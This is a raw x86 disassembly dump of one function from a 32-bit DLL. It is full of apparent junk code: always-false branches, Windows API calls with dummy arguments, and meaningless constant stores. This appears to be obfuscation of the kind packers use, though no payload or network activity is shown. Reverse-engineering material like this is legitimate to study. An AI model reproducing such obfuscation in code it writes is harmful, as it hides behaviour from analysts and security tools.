call fcn.10024ee0
mov dword [eax], 0x16
jmp 0x10009d5e
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009d3a
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
push eax
lea ecx, [ebp - 0x3dc]
call fcn.10024ee0
lea ecx, [ebp - 0x3dc]
cmp esi, dword [eax]
sbb eax, eax
inc eax
mov dword [ebp - 0x50], eax
xor eax, eax
push eax
call fcn.10024ee0
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x3dc]
push eax
call fcn.10024ee0
cmp dword [eax], 0xffffffe6
jg 0x10009d1d
or ebx, 0xffffffff
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 4], ebx
call fcn.10024edb
xor eax, eax
lea ecx, [ebp - 0xb78]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x98], 0xd437f1bd
mov dword [ebp - 0x14], esi
push esi
call fcn.10024e73
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10009dd7
push 9
pop ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb78]
call fcn.10024ee0
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10009dba
xor eax, eax
or ebx, 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffeb
jle 0x10009e2e
push 8
pop ebx
mov dword [ebp - 0x18], 0xbc66
lea ecx, [ebp - 0xb78]
mov eax, dword [ebp - 0x18]
xor eax, eax
push eax
call fcn.10024ee0
xor edx, edx
mov dword [eax], 7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
cmp ebx, edx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xfffffff9
setle cl
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffeb
jg 0x10009de3
or ebx, 0xffffffff
lea ecx, [ebp - 0xb78]
mov dword [ebp - 4], ebx
call fcn.10024edb
mov dword [ebp - 0x64], ebx
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x93d0b548
mov dword [ebp - 0x24], 0x34172034
mov dword [ebp - 0x50], 6
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x10009e7c
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x830], 0x4f54
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10009e64
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10009e92
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x11ec], 2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10009e81
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x10009ea8
mov edx, esi
mov eax, dword [ebp - 0x828]
xor ecx, ecx
cmp eax, edx
mov dword [ebp - 0x11e8], eax
mov eax, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
push esi
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x828]
setle bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x50]
setne cl
xor edx, edx
cmp ecx, esi
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x828]
setle bl
xor ecx, ecx
imul ebx, eax
mov eax, dword [ebp - 0x828]
cmp ebx, eax
setge cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xf48]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
call fcn.10024e73
mov dword [ebp - 4], 0xc
mov eax, 0xed967aac
mov dword [ebp - 0xcfc], eax
mov dword [ebp - 0xcf8], eax
mov dword [ebp - 0xcf4], eax
mov dword [ebp - 0xcf0], eax
push 7
pop eax
mov dword [ebp - 0x28], eax
push 4
pop eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x33582f80
push 2
pop ebx
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], 0x8e41
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x28], eax
je 0x10009f95
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009fae
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
jmp 0x10009fae
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009fae
push eax
push 0x1b92
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
lea ecx, [ebp - 0xf4]
call fcn.10024e73
mov byte [ebp - 4], 0xd
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x14], 0xd95da228
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10009ff2
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10009fd8
xor eax, eax
push eax
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
cmp dword [eax], 0
jg 0x1000a03f
push esi
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
mov esi, eax
lea ecx, [ebp - 0xf4]
xor eax, eax
push eax
call fcn.10024ee0
xor edx, edx
mov ecx, dword [eax]
cmp ecx, dword [esi]
setg dl
xor esi, esi
inc esi
add edx, 0x20b5
jne 0x1000a03f
push esi
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
xor eax, eax
lea ecx, [ebp - 0xf4]
push eax
call fcn.10024ee0
xor eax, eax
lea ecx, [ebp - 0xf4]
push eax
call fcn.10024ee0
push esi
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
xor eax, eax
lea ecx, [ebp - 0xf4]
push eax
call fcn.10024ee0
lea ecx, [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
xor eax, eax
push eax
call fcn.10024ee0
xor ecx, ecx
cmp dword [eax], esi
mov eax, dword [ebp - 0x14]
setge cl
sub eax, ecx
jne 0x1000a0a5
cmp dword [ebp - 0x14], eax
jne 0x1000a0a7
mov esi, eax
jmp 0x1000a0a7
xor eax, eax
push eax
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
xor ecx, ecx
cmp esi, dword [eax]
setne cl
xor ebx, ebx
cmp ecx, 0x18f4
lea ecx, [ebp - 0xf4]
setle bl
xor eax, eax
push eax
call fcn.10024ee0
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
xor eax, eax
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0xf4]
push eax
call fcn.10024ee0
mov ecx, dword [ebp - 0x50]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xf4]
setle bl
xor eax, eax
push eax
sub ebx, 0xb29d
call fcn.10024ee0
cmp ebx, dword [eax]
jle 0x1000a127
xor ebx, ebx
lea ecx, [ebp - 0xf4]
inc ebx
push ebx
call fcn.10024ee0
cmp dword [eax], 0
je 0x1000a127
mov esi, ebx
xor eax, eax
jmp 0x1000a12b
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
xor ebx, ebx
lea ecx, [ebp - 0xf4]
cmp esi, dword [eax]
setle bl
xor eax, eax
push eax
call fcn.10024ee0
xor ecx, ecx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x40]
setl cl
imul eax, ecx
test eax, eax
jne 0x1000a1cf
push eax
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
cmp dword [eax], 0
jne 0x1000a1cf
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x40], eax
inc ebx
jmp 0x1000a1ac
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x1000a1a9
push dword [ebp - 0x40]
lea ecx, [ebp - 0xf4]
call fcn.10024ee0
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf4]
mov esi, eax
call fcn.10024ee0
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x28]
jns 0x1000a180
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jle 0x1000a178
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1000a1ea
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
jmp 0x1000a1ea
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1000a1e7
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0xc
call fcn.10024edb
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a21d
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf48]
call fcn.10024ee0
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a203
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0x8f69f7fd
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1000a250
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x13bc], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1000a237
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1000a270
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x230], 0x33c63384
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1000a258
xor eax, eax
dec dword [ebp - 0x230]
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], 0xffffffed
jl 0x1000a2b4
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x1000a2af
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000a2aa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x230], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000a292
xor eax, eax
dec dword [ebp - 0x28]
jns 0x1000a28a
dec dword [ebp - 0x14]
jmp 0x1000a27c
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xe
push 0xfffffffffffffffe
pop esi
jge 0x1000abba
jmp 0x1000a2c9
push 2
pop ecx
mov dword [ebp - 0x28], 0x2d91509c
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x18], 0x6947a332
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x14], eax
jmp 0x1000a2f7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdc], 0x43cdf98a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000a2e6
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
sub ecx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
neg ecx
sbb ecx, ecx
xor edx, edx
add ecx, 0x658f
cmp eax, ecx
mov eax, dword [ebp - 0xd8]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
cmp eax, esi
mov eax, dword [ebp - 0xd8]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xd8]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0xd8], ecx
cmp dword [ebp - 0xdc], eax
jne 0x1000a411
mov dword [ebp - 0xd8], eax
mov ecx, 0xffff
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1d
jge 0x1000a3e0
mov dword [ebp - 0x18], 0x293c34f9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x50]
je 0x1000a3af
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1000a3b1
mov eax, ebx
mov dword [ebp - 0xd8], esi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], ebx
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1000a3d2
mov eax, ebx
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1d
jl 0x1000a396
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1000a4b0
push eax
push 0x530
push 0x919
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
jmp 0x1000a4b0
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0x38], 0x7e815f84
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x38], 0x71658a60
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x34886255
mov dword [ebp - 0x38], 0x225189d9
mov dword [ebp - 0x38], 0x95dbc2a4
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], 0x5beac3ef
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x38], 0x71e9942
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1000a48b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13e0], 0xc9e4a043
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000a472
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1000a4ad
push 0x124a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
inc dword [ebp - 0x24]
movdqa xmm0, xmmword [0x10007c10]
lea eax, [ebp - 0x104c]
push eax
lea eax, [ebp - 0x105c]
push eax
lea ecx, [ebp - 0x1288]
movdqu xmmword [ebp - 0x105c], xmm0
call fcn.10024eef
lea ecx, [ebp - 0x23e]
mov esi, eax
call fcn.10008e5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x418]
push dword [esi]
call fcn.10024eb5
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x24], ebx
or esi, 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a51c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a50b
xor eax, eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jg 0x1000a613
jmp 0x1000a52d
xor eax, eax
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x5c], eax
push dword [ebp - 0x70]
call fcn.10024ee0
push dword [ebp - 0x70]
lea ecx, [ebp - 0x418]
mov esi, eax
call fcn.10024ee0
mov ecx, dword [eax]
xor eax, eax
mov dword [esi], ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
je 0x1000a5e8
mov eax, dword [ebp - 0x70]
lea ecx, [ebp - 0x418]
push dword [ebp - 0x70]
call fcn.10024ee0
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x418]
push dword [ebp - 0x70]
call fcn.10024ee0
mov ecx, 0xffff
cmp ecx, dword [eax]
sbb eax, eax
inc eax
cmp eax, 0xf1d65f4e
je 0x1000a59c
mov eax, dword [ebp - 0x50]
push dword [ebp - 0x70]
lea ecx, [ebp - 0x418]
call fcn.10024ee0
mov eax, dword [ebp - 0x70]
mov ecx, ebx
mov eax, dword [ebp - 0x14]
sub ecx, eax
jne 0x1000a5cf
push dword [ebp - 0x70]
lea ecx, [ebp - 0x418]
call fcn.10024ee0
cmp dword [eax], 0
jne 0x1000a5cf
xor eax, eax
mov edx, eax
jmp 0x1000a5d1
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
push 7
setle cl
pop eax
add ecx, eax
je 0x1000a5e6
mov edx, ebx
jmp 0x1000a5ea
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x70]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x70]
setge cl
or esi, 0xffffffff
add eax, ecx
xor ecx, ecx
cmp eax, esi
setg cl
mov dword [ebp - 0x5c], ecx
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 3
jle 0x1000a52b
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 0xc
call fcn.10024edb
xor eax, eax
mov byte [ebp - 0xd], al
mov dword [ebp - 0x30], 0xc93b4e1a
mov dword [ebp - 0x1c], 0x3efc1676
mov dword [ebp - 0x4c], 0xeb60f9aa
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000a65b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x100], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000a647
xor eax, eax
mov dword [ebp - 0x30], 0xffffffec
jmp 0x1000a68f
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1000a68c
push eax
push 0x172f
push eax
push 0x20e5
push 0x6dd
push eax
push 0x24c8
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff0
jg 0x1000a664
cmp dword [ebp - 0x30], eax
je 0x1000a85c
mov dword [ebp - 0x18], 0xec134886
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000a6c5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x118], 0xfffd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000a6ad
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000a6db
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x104], 0xed423cb8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000a6ca
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, 4
setge cl
xor eax, eax
add ecx, dword [ebp - 0x118]
cmp ecx, ebx
ja 0x1000a70a
mov edx, ebx
cmp dword [ebp - 0x30], eax
jne 0x1000a70c
mov edx, eax
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
sete cl
sub ecx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
inc ecx
add eax, ecx
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x1000a986
mov dword [ebp - 0x50], 0xcf76e5f3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1000a760
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x748], 0xc3fa3c9e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000a747
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1000a792
dec dword [ebp - 0x748]
mov eax, dword [ebp - 0x748]
je 0x1000a792
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1000a780
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
inc dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0xfc]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0xfc]
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x4c]
neg edx
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
sbb edx, edx
mov eax, dword [ebp - 0x100]
xor ecx, ecx
neg edx
cmp eax, ebx
mov eax, 0xb579
setle cl
sub eax, ecx
jne 0x1000a7e1
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x50]
xor ecx, ecx
test edx, edx
push 0
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor ebx, ebx
mov dword [ebp - 0x104], ecx
mov eax, dword [ebp - 0x118]
add ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setl bl
xor edx, edx
mov dword [ebp - 0xfc], ebx
mov eax, dword [ebp - 0x740]
cmp ebx, eax
mov eax, dword [ebp - 0x748]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
sete cl
xor edx, edx
cmp ecx, esi
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setne cl
mov dword [ebp - 0x18], ecx
dec dword [ebp - 0x30]
push 1
pop ebx
jns 0x1000a737
jmp 0x1000a986
mov dword [ebp - 0x5c], 0xcf2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1000a885
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6f8], 0x1b86
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000a86c
xor eax, eax
mov dword [ebp - 0x4c], 0xffffffe2
cmp dword [ebp - 0x4c], 0x23
jle 0x1000a984
mov dword [ebp - 0x24], 0xc9c8
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1000a97c
mov dword [ebp - 0x50], 0x62130e9d
dec dword [ebp - 0x6f8]
mov eax, dword [ebp - 0x6f8]
jne 0x1000a935
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x100]
mov eax, 0xffff
cmp dword [ebp - 0x6f8], eax
jne 0x1000a8e6
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x100], 0
je 0x1000a8e6
mov edx, ebx
jmp 0x1000a8ea
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x100]
lea eax, [edx - 1]
add ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x6f4]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
mov esi, dword [ebp + eax*4 - 0x100]
imul esi, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x50]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
sete cl
xor edx, edx
cmp esi, ecx
setge dl
or esi, 0xffffffff
mov dword [ebp + eax*4 - 0x100], edx
mov ecx, dword [ebp - 0x24]
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, esi
setge al
cmp eax, 0xfffffffc
je 0x1000a953
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x1000a955
mov ecx, ebx
xor eax, eax
cmp ecx, 0xa668
setl al
imul eax, dword [ebp - 0x5c]
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0xfc], eax
jne 0x1000a97a
dec dword [ebp - 0x1c]
jns 0x1000a8a9
xor eax, eax
inc dword [ebp - 0x4c]
jmp 0x1000a88c
xor eax, eax
cmp byte [ebp - 0xd], 0
je 0x1000aba7
mov dword [ebp - 0x20], 0xc8fc558b
lea ecx, [ebp - 0xe20]
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x38], 0xfffffff7
push 2
mov dword [ebp - 0x38], 0xfa5d
mov dword [ebp - 0x38], eax
pop eax
push eax
call fcn.10024e73
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x38], eax
push 2
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x1000a9f6
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe20]
call fcn.10024ee0
push 2
mov dword [eax], 0xe89405db
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1000a9d2
push 2
xor eax, eax
pop esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000aa05
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x20]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x24]
setge cl
add eax, 0x194
add eax, ecx
cmp eax, dword [ebp - 0x24]
jne 0x1000aab3
push 3
lea ecx, [ebp - 0xe08]
call fcn.10024e73
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1000aa78
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe08]
call fcn.10024ee0
mov dword [eax], 0x4ba8b35e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000aa59
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1000aaa8
mov dword [ebp - 0x24], 0x5725d367
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000aaa0
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
xor eax, eax
dec dword [ebp - 0x24]
dec dword [ebp - 0x20]
jns 0x1000aa80
lea ecx, [ebp - 0xe08]
jmp 0x1000ab76
push 2
pop eax
push eax
lea ecx, [ebp - 0xf98]
call fcn.10024e73
mov byte [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x38], 0x9c23edb3
mov dword [ebp - 0x38], 0x72c40a98
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x58], eax
push 2
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x1000ab08
push dword [ebp - 0x20]
lea ecx, [ebp - 0xf98]
call fcn.10024ee0
push 2
pop ecx
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1000aaeb
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1000ab28
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1388], 0x42041022
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1000ab10
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1000ab70
mov dword [ebp - 0x24], 0xb166c193
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x38], 0x8eb16e2c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000ab65
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf7c], 0x6595ad33
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000ab4d
xor eax, eax
dec dword [ebp - 0x24]
inc dword [ebp - 0x58]
dec dword [ebp - 0x20]
jns 0x1000ab30
lea ecx, [ebp - 0xf98]
call fcn.10024edb
lea ecx, [ebp - 0xe20]
mov byte [ebp - 4], 0xc
call fcn.10024edb
push 0x17b5
push 0x12d8
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xe
push 0
pop eax
push 0xfffffffffffffffe
pop esi
jl 0x1000a2c6
push 4
mov dword [ebp - 0x40], 0xfffffffc
or edi, 0xffffffff
mov dword [ebp - 0x40], eax
pop esi
cmp dword [ebp - 0x40], esi
jne 0x1000ac39
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x18], eax
jmp 0x1000ac2e
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000abfb
mov ecx, 0xffff
mov eax, dword [ebp - 0x14]
